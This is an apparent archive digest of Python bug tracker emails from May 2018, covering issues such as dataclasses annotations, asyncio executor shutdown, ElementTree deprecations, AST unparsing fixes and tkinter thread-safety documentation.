Sat, 12 May 2018 02:19:20 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526091560.69.0.682650639539.issue33453@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +6456 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 22:19:22 2018 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 12 May 2018 02:19:22 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526091562.02.0.682650639539.issue33453@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- keywords: +patch, patch pull_requests: +6455, 6456 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 22:21:32 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Sat, 12 May 2018 02:21:32 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1526091692.55.0.682650639539.issue33257@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: The 1st PR is ready. I'll continue working on the 2nd one in this ticket, too, if there are no objections. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 22:21:34 2018 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 12 May 2018 02:21:34 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526091694.62.0.682650639539.issue33453@psf.upfronthosting.co.za> Eric V. Smith added the comment: At this stage in the release cycle, if you really feel strongly about this, you should take it up with Guido directly. ---------- assignee: -> eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 03:53:08 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Sat, 12 May 2018 07:53:08 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor Message-ID: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> New submission from Hrvoje Nik?i? : Looking at a StackOverflow question[1], I was unable to find a way to correctly close an event loop that uses run_in_executor() for long-running tasks. The question author tried to implement the following scenario: 1. create some tasks that use run_in_executor 2. run asyncio.wait(tasks, return_when=FIRST_EXCEPTION) 3. cancel pending tasks, if any 4. close the loop and continue with non-async work However, when there are pending tasks from wait(), a RuntimeError is raised some time after step #4. In the test programs, it happens while waiting for the program to finish. I have attached a minimal example to reproduce the issue. The immediate cause is that a callback installed by wrap_future() notices that the underlying concurrent.futures.Future is done and calls loop.call_soon_threadsafe() to copy the result to the asyncio.Future. call_soon_threadsafe() fails when the loop is closed. This would be reasonable behavior if not for the fact that the code explicitly cancelled the asyncio future, and awaited it to ensure that the cancellation took effect. While it is clear that asyncio cannot interrupt a function already running in an executor, it should probably detach the connection between the concurrent future and the asyncio future, to prevent this kind of error (and possibly other problems). For example, the _call_check_cancel closure in _chain_future could remove (or disable) the done_callback installed on source after the call to source.cancel(). Since at that point we know that destination (asyncio.Future) is already canceled, there is no longer value in invoking the done callback for source (concurrent.futures.Future). [1] https://stackoverflow.com/q/50279522/1600898 ---------- files: executor-cancel messages: 316420 nosy: hniksic priority: normal severity: normal status: open title: RuntimeError after closing loop that used run_in_executor versions: Python 3.6, Python 3.7 Added file: https://bugs.python.org/file47583/executor-cancel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 04:40:06 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Sat, 12 May 2018 08:40:06 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 Message-ID: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> New submission from Miro Hron?ok : Background: gdb fails to build with Python 3.7 as described in https://bugzilla.redhat.com/show_bug.cgi?id=1577396 This is due to _PyImport_FixupBuiltin changing it's API. I feel that _underscored functions are probably not guaranteed to not change, however I miss anything about the following changes: https://github.com/python/cpython/pull/1638 https://github.com/python/cpython/pull/3565 https://github.com/python/cpython/pull/3575 In here: https://docs.python.org/3.7/whatsnew/3.7.html#porting-to-python-37 (or that page generally) That page doesn't mention PyInterpreterState at all, so even if you decide that _PyImport_FixupBuiltin doesn't deserve a mention, maybe the general change does. Thanks ---------- assignee: docs at python components: Documentation messages: 316421 nosy: docs at python, eric.snow, hroncok, vstinner priority: normal severity: normal status: open title: Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 04:46:03 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 12 May 2018 08:46:03 +0000 Subject: [issue29209] Remove old-deprecated ElementTree features In-Reply-To: <1483898185.03.0.0187159979308.issue29209@psf.upfronthosting.co.za> Message-ID: <1526114763.36.0.682650639539.issue29209@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: getchildren() and getiterator() have deprecation notes in their docstrings in lxml.etree. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 06:11:53 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 12 May 2018 10:11:53 +0000 Subject: [issue29209] Remove old-deprecated ElementTree features In-Reply-To: <1483898185.03.0.0187159979308.issue29209@psf.upfronthosting.co.za> Message-ID: <1526119913.34.0.682650639539.issue29209@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6457 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 06:20:04 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 12 May 2018 10:20:04 +0000 Subject: [issue29209] Remove old-deprecated ElementTree features In-Reply-To: <1483898185.03.0.0187159979308.issue29209@psf.upfronthosting.co.za> Message-ID: <1526120404.89.0.682650639539.issue29209@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: PR 6769 removes the html parameter and the doctype() method. getchildren() and getiterator() emit now a DeprecationWarning instead of PendingDeprecationWarning and will be removed in 3.9. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 06:49:22 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 12 May 2018 10:49:22 +0000 Subject: [issue29209] Remove old-deprecated ElementTree features In-Reply-To: <1483898185.03.0.0187159979308.issue29209@psf.upfronthosting.co.za> Message-ID: <1526122162.43.0.682650639539.issue29209@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The following two patches will remove getchildren() and getiterator() (in 3.9) and xml.etree.cElementTree (in an unspecified future). ---------- Added file: https://bugs.python.org/file47584/etree_remove_deprecated_getiterator.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 06:49:51 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 12 May 2018 10:49:51 +0000 Subject: [issue29209] Remove old-deprecated ElementTree features In-Reply-To: <1483898185.03.0.0187159979308.issue29209@psf.upfronthosting.co.za> Message-ID: <1526122191.55.0.682650639539.issue29209@psf.upfronthosting.co.za> Change by Serhiy Storchaka : Added file: https://bugs.python.org/file47585/etree_remove_deprecated_cElementTree.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 06:51:04 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 12 May 2018 10:51:04 +0000 Subject: [issue29209] Remove old-deprecated ElementTree features In-Reply-To: <1483898185.03.0.0187159979308.issue29209@psf.upfronthosting.co.za> Message-ID: <1526122264.08.0.682650639539.issue29209@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- versions: +Python 3.8 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 07:26:28 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 12 May 2018 11:26:28 +0000 Subject: [issue33427] Dead link in "The Python Standard Library" page In-Reply-To: <1525489435.58.0.682650639539.issue33427@psf.upfronthosting.co.za> Message-ID: <1526124388.76.0.682650639539.issue33427@psf.upfronthosting.co.za> Ned Deily added the comment: Note that while the link in the docs should be updated, the old link should redirect properly. That change has been requested in https://github.com/pypa/warehouse/issues/3914 ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 07:30:06 2018 From: report at bugs.python.org (David Vasseur) Date: Sat, 12 May 2018 11:30:06 +0000 Subject: [issue33471] string format with 'n' failling with french locales Message-ID: <1526124606.41.0.682650639539.issue33471@psf.upfronthosting.co.za> New submission from David Vasseur : Python 3.6.5 (default, Apr 14 2018, 13:17:30) [GCC 7.3.1 20180406] on linux Type "help", "copyright", "credits" or "license" for more information. >>> print('{:n}'.format(int(12))) 12 <-- ok -- >>> import locale >>> locale.setlocale(locale.LC_ALL, '') 'fr_FR.UTF-8' >>> print('{:n}'.format(int(12))) (empty) <-- error -- '{:n}'.format(int(12)) '??' <-- error -- please note that with >999 numbers, it's working fine: >>> print('{:n}'.format(int(1000))) 1?000 <-- ok -- ---------- components: Extension Modules messages: 316426 nosy: David Vasseur priority: normal severity: normal status: open title: string format with 'n' failling with french locales type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 07:42:22 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 12 May 2018 11:42:22 +0000 Subject: [issue33442] Python 3 doc sidebar dosnt follow page scrolling like 2.7 doc sidebar. In-Reply-To: <1525698362.62.0.682650639539.issue33442@psf.upfronthosting.co.za> Message-ID: <1526125342.81.0.682650639539.issue33442@psf.upfronthosting.co.za> Change by Ned Deily : ---------- nosy: +ezio.melotti, georg.brandl _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 09:00:36 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 12 May 2018 13:00:36 +0000 Subject: [issue23607] Inconsistency in datetime.utcfromtimestamp(Decimal) In-Reply-To: <1425810901.79.0.570490913636.issue23607@psf.upfronthosting.co.za> Message-ID: <1526130036.89.0.682650639539.issue23607@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka priority: normal -> low versions: +Python 3.8 -Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 11:42:36 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 12 May 2018 15:42:36 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1526139756.95.0.682650639539.issue33470@psf.upfronthosting.co.za> STINNER Victor added the comment: Is it a release blocker? ---------- nosy: +ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 11:42:59 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 12 May 2018 15:42:59 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1526139779.74.0.682650639539.issue33470@psf.upfronthosting.co.za> STINNER Victor added the comment: Miro: do you want to work on a pull request? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 12:49:15 2018 From: report at bugs.python.org (Eitan Adler) Date: Sat, 12 May 2018 16:49:15 +0000 Subject: [issue33472] build system incorrectly handles CC, CFLAGS, LDFLAGS, and related. Message-ID: <1526143755.39.0.682650639539.issue33472@psf.upfronthosting.co.za> New submission from Eitan Adler : There are a number of incorrect items in python's build system. Expected behavior: - CC is correctly report as the compiler, and without any additional options - CFLAGS is correctly reported for the required flags to the compiler - CXXFLAGS is the same as CFLAGS, but for C++ - LDFLAGS is correctly report for linker flags Actual behavior: - CC is reported as a non-existing compiler plus an option - C*FLAGS and LDFLAGS are not correctly reported ---------- components: Build messages: 316429 nosy: Eitan Adler priority: normal pull_requests: 6458 severity: normal status: open title: build system incorrectly handles CC, CFLAGS, LDFLAGS, and related. type: compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 12:59:59 2018 From: report at bugs.python.org (Eitan Adler (bad account)) Date: Sat, 12 May 2018 16:59:59 +0000 Subject: [issue33472] build system incorrectly handles CC, CFLAGS, LDFLAGS, and related. In-Reply-To: <1526143755.39.0.682650639539.issue33472@psf.upfronthosting.co.za> Message-ID: <1526144399.5.0.682650639539.issue33472@psf.upfronthosting.co.za> Eitan Adler (bad account) added the comment: closing this as I created under a bad account and can't find a way to merge them. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 13:00:57 2018 From: report at bugs.python.org (Eitan Adler) Date: Sat, 12 May 2018 17:00:57 +0000 Subject: [issue33473] build system incorrectly handles CC, CFLAGS, LDFLAGS, and related. Message-ID: <1526144457.86.0.682650639539.issue33473@psf.upfronthosting.co.za> New submission from Eitan Adler : There are a number of incorrect items in python's build system. Expected behavior: - CC is correctly report as the compiler, and without any additional options - CFLAGS is correctly reported for the required flags to the compiler - CXXFLAGS is the same as CFLAGS, but for C++ - LDFLAGS is correctly report for linker flags Actual behavior: - CC is reported as a non-existing compiler plus an option - C*FLAGS and LDFLAGS are not correctly reported ---------- components: Build messages: 316431 nosy: eitan.adler priority: normal pull_requests: 6459 severity: normal status: open title: build system incorrectly handles CC, CFLAGS, LDFLAGS, and related. type: compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 13:07:57 2018 From: report at bugs.python.org (Michael Selik) Date: Sat, 12 May 2018 17:07:57 +0000 Subject: [issue33463] Can namedtuple._asdict return a regular dict instead of OrderedDict? In-Reply-To: <1526009463.33.0.682650639539.issue33463@psf.upfronthosting.co.za> Message-ID: <1526144877.07.0.682650639539.issue33463@psf.upfronthosting.co.za> Change by Michael Selik : ---------- keywords: +patch pull_requests: +6461 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 13:08:22 2018 From: report at bugs.python.org (Michael Selik) Date: Sat, 12 May 2018 17:08:22 +0000 Subject: [issue33463] Can namedtuple._asdict return a regular dict instead of OrderedDict? In-Reply-To: <1526009463.33.0.682650639539.issue33463@psf.upfronthosting.co.za> Message-ID: <1526144902.11.0.682650639539.issue33463@psf.upfronthosting.co.za> Michael Selik added the comment: Is this warning what you had in mind? https://github.com/python/cpython/pull/6772 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 14:09:03 2018 From: report at bugs.python.org (book book) Date: Sat, 12 May 2018 18:09:03 +0000 Subject: [issue4934] tp_del and tp_version_tag undocumented In-Reply-To: <1231869285.41.0.170645063597.issue4934@psf.upfronthosting.co.za> Message-ID: <1526148543.11.0.682650639539.issue4934@psf.upfronthosting.co.za> book book added the comment: tp_del still undocumented. In my opinion, tp_del corresponds to the __del__() method of classes, because there are no other variable correspondes to it, but methods using for creating(tp_new) and initializing(tp_init) an object are not. Although __del__ method have some issue according to the offical document, but it is exist, so there must have a pointer to the function corresponding to it. ---------- nosy: +book book versions: +Python 3.6 -Python 2.6, Python 2.7, Python 3.2, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 14:12:40 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Sat, 12 May 2018 18:12:40 +0000 Subject: [issue4934] tp_del and tp_version_tag undocumented In-Reply-To: <1231869285.41.0.170645063597.issue4934@psf.upfronthosting.co.za> Message-ID: <1526148760.66.0.682650639539.issue4934@psf.upfronthosting.co.za> Antoine Pitrou added the comment: The reason tp_del has remained undocumented is that it's now obsolete. You should use tp_finalize instead: https://docs.python.org/3/c-api/typeobj.html#c.PyTypeObject.tp_finalize tp_finalize is roughly the C equivalent of __del__ (tp_del was something else, despite the name). ---------- versions: +Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 14:13:26 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Sat, 12 May 2018 18:13:26 +0000 Subject: [issue4934] tp_del and tp_version_tag undocumented In-Reply-To: <1231869285.41.0.170645063597.issue4934@psf.upfronthosting.co.za> Message-ID: <1526148806.44.0.682650639539.issue4934@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Both tp_del and tp_version_tag are for internal use. Besides, tp_del is obsolete as I mentioned above. So I'm going to close the issue. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 16:47:38 2018 From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=) Date: Sat, 12 May 2018 20:47:38 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1526158058.44.0.682650639539.issue33462@psf.upfronthosting.co.za> R?mi Lapeyre added the comment: Hi, I'm taking a look this issue, it look like a new type `PyDictRevIterKey_Type` needs to be defined with its associated methods. I will try to implement the modifications ; this is the first time i'm taking a dive in Python's internals so I can't guarantee results on this but will try nonetheless. ---------- nosy: +remi.lapeyre _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 16:59:49 2018 From: report at bugs.python.org (Michael Selik) Date: Sat, 12 May 2018 20:59:49 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1526158789.2.0.682650639539.issue33462@psf.upfronthosting.co.za> Michael Selik added the comment: Right, a blend of the code from dictiterobject (https://github.com/python/cpython/blob/master/Objects/dictobject.c#L3309) and listreviterobject (https://github.com/python/cpython/blob/master/Objects/listobject.c#L3128). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 17:28:57 2018 From: report at bugs.python.org (Daniel Lindeman) Date: Sat, 12 May 2018 21:28:57 +0000 Subject: [issue33474] Support immutability per-field in dataclasses Message-ID: <1526160537.62.0.682650639539.issue33474@psf.upfronthosting.co.za> New submission from Daniel Lindeman : Currently, all fields in dataclasses can be frozen by passing frozen=True to the decorator. There are cases where it would be useful to have some fields be mutable, and others immutable. By using a strategy similar to how the decorator frozen works, using __setattr__ and __delattr__, it would be possible to support immutability per-field. This could perhaps be done by adding a frozen argument to the field constructor. ---------- messages: 316438 nosy: Daniel Lindeman, eric.smith priority: normal severity: normal status: open title: Support immutability per-field in dataclasses type: enhancement versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 18:22:34 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 12 May 2018 22:22:34 +0000 Subject: [issue33475] Fix converting AST expression to string and optimize parenthesis Message-ID: <1526163754.81.0.682650639539.issue33475@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : The proposed patch fixes bugs in ast_unparse.c, makes it generating cleaner string representation, and makes the code cleaner. Known fixed bugs: 1. Extended slices crash Python. "s[a, b:c]". 2. 1-tuples produce illegal syntax: "(a,)" => "(, a)". 3. Lambdas in f-strings produce illegal syntax. "f'{(lambda x: x)}'" => "f'{lambda x: x}'". 4. Some expressions that need parenthesis don't have them. E.g. "lambda x: (x, x)" => "lambda x: x, x". 5. Generators and yield expression always must be surrounded with parenthesis. "(x for x in y)" => "x for x in y", "(yield)" => "yield". 6. Top-level tuples must be surrounded with parenthesis. "(a, b)" => "a, b". Produced string representation is now more clean and almost not contains redundant parenthesis. "(a + b) * (c + d)" => "(a + b) * (c + d)" "(a * b) + (c * d)" => "a * b + c * d" "(a * b) * (c * d)" => "a * b * (c * d)" "(a ** b) ** (c ** d)" => "(a ** b) ** c ** d" "[(a + b)]" => "[a + b]" "[(i ** 2) for i in range(1, (a + 1))]" => "[i ** 2 for i in range(1, a + 1)]" Maybe other bugs were fixed in process. And finally I use macros for simple repeated fragments of code like if (-1 == append_charp(writer, str)) { return -1; } This made the meaningful code much shorter and saved around 250 lines of code. ---------- components: Interpreter Core messages: 316439 nosy: lukasz.langa, serhiy.storchaka priority: normal severity: normal status: open title: Fix converting AST expression to string and optimize parenthesis type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 18:31:49 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 12 May 2018 22:31:49 +0000 Subject: [issue33475] Fix converting AST expression to string and optimize parenthesis In-Reply-To: <1526163754.81.0.682650639539.issue33475@psf.upfronthosting.co.za> Message-ID: <1526164309.13.0.682650639539.issue33475@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6462 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 18:38:25 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 12 May 2018 22:38:25 +0000 Subject: [issue33475] Fix converting AST expression to string and optimize parenthesis In-Reply-To: <1526163754.81.0.682650639539.issue33475@psf.upfronthosting.co.za> Message-ID: <1526164705.91.0.682650639539.issue33475@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 20:50:02 2018 From: report at bugs.python.org (Enrique Perez-Terron) Date: Sun, 13 May 2018 00:50:02 +0000 Subject: [issue33476] String index out of range in get_group(), email/_header_value_parser.py Message-ID: <1526172602.81.0.682650639539.issue33476@psf.upfronthosting.co.za> New submission from Enrique Perez-Terron : When address group is missing final ';', 'value' will be an empty string. I suggest the following patch $ diff -u _save_header_value_parser.py _header_value_parser.py --- _save_header_value_parser.py 2018-03-14 01:07:54.000000000 +0100 +++ _header_value_parser.py 2018-05-13 02:17:13.830053600 +0200 @@ -1876,7 +1876,7 @@ if not value: group.defects.append(errors.InvalidHeaderDefect( "end of header in group")) - if value[0] != ';': + elif value[0] != ';': raise errors.HeaderParseError( "expected ';' at end of group but found {}".format(value)) group.append(ValueTerminal(';', 'group-terminator')) ---------- components: email messages: 316440 nosy: Cacadril, barry, r.david.murray priority: normal severity: normal status: open title: String index out of range in get_group(), email/_header_value_parser.py type: crash versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 20:57:30 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Sun, 13 May 2018 00:57:30 +0000 Subject: [issue33477] Document that compile(code, 'exec') has different behavior in 3.7+ Message-ID: <1526173050.51.0.682650639539.issue33477@psf.upfronthosting.co.za> New submission from Matthias Bussonnier : In recent Python the following >>> from ast import PyCF_ONLY_AST >>> compile("'a'", 'whatever', 'exec', PyCF_ONLY_AST).body In 3.6 it return [<_ast.Expr at 0x10b7441d0>] # that contail Str('a') While on master: [] This is inconveninent for alternative repl like IPython, where basically if the user is entering a single string, the result is nothing in Python 3.7+, while it _does_ return something on earlier Python [1]. The documentation of `compile` says: > ... it can be 'exec' if source consists of a sequence of statements, Which is not technically true any more as the first statement, if a string, will be removed. What's happening here is that since Python 3.7 if the _first_ statement is actually an expression containing a lonely string it is assign to the module docstring. So that's basically assuming you are parsing a module, and that the docstring make sens in this context, while in a REPL you are parsing a sucesssion of statements, in which case there is no need for a docstring that make no sens in this context. This is _usually_ not an issue, unless this lonely statement is also the last, and what the user wants to execute in a REPL, in which case it has no side effect. I don't have any objection to the new behavior, though I was wondering if this kind of side effect was anticipated. If that affect IPython, it will likely effect other alternative REPLs. Thus, I believe it would be good to have this at least documented a tiny bit better and added in what's new, and potentially clarified in the `exec` docs. I could argue that now the `exec` name may be a tiny bit unsuitable for the new behavior, and would love if this could be optional. 1: https://github.com/ipython/ipython/issues/11133#issuecomment-388591332 ---------- assignee: docs at python components: Documentation, Interpreter Core messages: 316441 nosy: docs at python, mbussonn priority: normal severity: normal status: open title: Document that compile(code, 'exec') has different behavior in 3.7+ versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 21:45:13 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Sun, 13 May 2018 01:45:13 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1526175913.8.0.682650639539.issue33453@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 21:56:12 2018 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 13 May 2018 01:56:12 +0000 Subject: [issue33471] string format with 'n' failling with french locales In-Reply-To: <1526124606.41.0.682650639539.issue33471@psf.upfronthosting.co.za> Message-ID: <1526176572.1.0.682650639539.issue33471@psf.upfronthosting.co.za> Eric V. Smith added the comment: After locale.setlocale(locale.LC_ALL, ''), what does local.localeconv() return? ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 22:09:59 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Sun, 13 May 2018 02:09:59 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1526177399.7.0.682650639539.issue33470@psf.upfronthosting.co.za> Miro Hron?ok added the comment: The change is a bit beyond my understanding ATM. I might be able to study it and stitch something up, but I'd rather leave it to the author of the change. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 22:39:46 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 13 May 2018 02:39:46 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526179186.33.0.682650639539.issue30928@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Testing undocumented issue.message reference I remember seeing somewhere: #11077.msg183774, #11077.183774 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 22:41:48 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 13 May 2018 02:41:48 +0000 Subject: [issue30928] Copy modified blurbs to idlelib/NEWS.txt for 3.7.0 In-Reply-To: <1500004288.4.0.547702885246.issue30928@psf.upfronthosting.co.za> Message-ID: <1526179308.76.0.682650639539.issue30928@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I was looking for a way to link to a message in the context of an issue rather that on a page by itself. Neither worked. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 12 23:54:59 2018 From: report at bugs.python.org (Amit Saha) Date: Sun, 13 May 2018 03:54:59 +0000 Subject: [issue33478] PEP 8 CapWords reference wrong? Message-ID: <1526183699.39.0.682650639539.issue33478@psf.upfronthosting.co.za> New submission from Amit Saha : PEP 8 suggests class names and type variable names to be in CapWords case. However: >>> import string >>> string.capwords('CapWord') 'Capword' Wondering if this this an oversight or am I misunderstanding something? ---------- assignee: docs at python components: Documentation messages: 316446 nosy: Amit.Saha, docs at python priority: normal severity: normal status: open title: PEP 8 CapWords reference wrong? _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 00:02:32 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 13 May 2018 04:02:32 +0000 Subject: [issue33479] Document tkinter and threads Message-ID: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> New submission from Terry J. Reedy : (Proposed patch below) Library Reference Chapter 25, Graphical User Interfaces with Tk, covers tinter, some of its subpackages, and IDLE. The introduction, https://docs.python.org/3/library/tk.html states "the internal module _tkinter provides a threadsafe mechanism which allows Python and Tcl to interact." Or as Martin Loewis claimed, "Tkinter is thread-safe." (#11077, msg127979). Unfortunately, the unqualified 'threadsafe' claim is not true. If Tcl is compiled with thread support (the default for 8.6) worker thread calls work (for the examples I have tested). If not (the default for 8.5 and before), they are unreliable and can fail in multiple ways. Known factors include the number of worker threads making call, the type of calls, and the number of calls. The deceptive claim and the lack of knowledge about the crucial role of how tcl is compiled has negative effects. First, people who have non-thread tcl have suffered trying to deal with random failures. (See issues listed in #11077, msg183774, and #33257.) Second, non-coredev tkinter experts have spread the equally wrong claim that 'tkinter is not threadsafe". (See the same message.) So people who have do have thread tcl are discouraged from exploiting the fact. I suggest 1. Remove 'threadsafe' from the intro sentence. After it, add "See for more details." <..> indicates a link to the proposed new section below. 2. The tkinter section itself, https://docs.python.org/3/library/tkinter.html, currently says nothing about threads. I propose to add a new subsection, location to be decided. """ Tkinter and threads. If you want to use both tkinter and threads, the safest method is to make all tkinter calls in the main thread. If worker threads generate data needed for tkinter calls, use a queue.Queue to send the data to the main thread. For a clean shutdown, add a method to wait for threads to stop and have it called when the window close button [X] is pressed. If you are using Tcl/Tk compiled with thread support, you can skip the queue and call tkinter methods in the worker threads. To avoid deadlocks when shutting down, you may have to join working threads in a separate 'join' thread that does not make tkinter calls. If you are using Tcl/Tk compiled without thread support, tkinter calls in worker threads may initially work, but may eventually fail somewhat randomly. Known factors include the number of threads, the type of call, and the number of calls. To determine whether your tcl/tk has thread support, look in /Lib/DLLs for files such as, tcl86(t).dll and tk86(t).dll (The tcl/tk version would then be '8.6'.) The t for 'thread' suffix is present or absent as tcl/tk was compiled with or without thread support. """ ---------- messages: 316447 nosy: serhiy.storchaka, terry.reedy priority: normal severity: normal stage: patch review status: open title: Document tkinter and threads type: behavior versions: Python 2.7, Python 3.6, 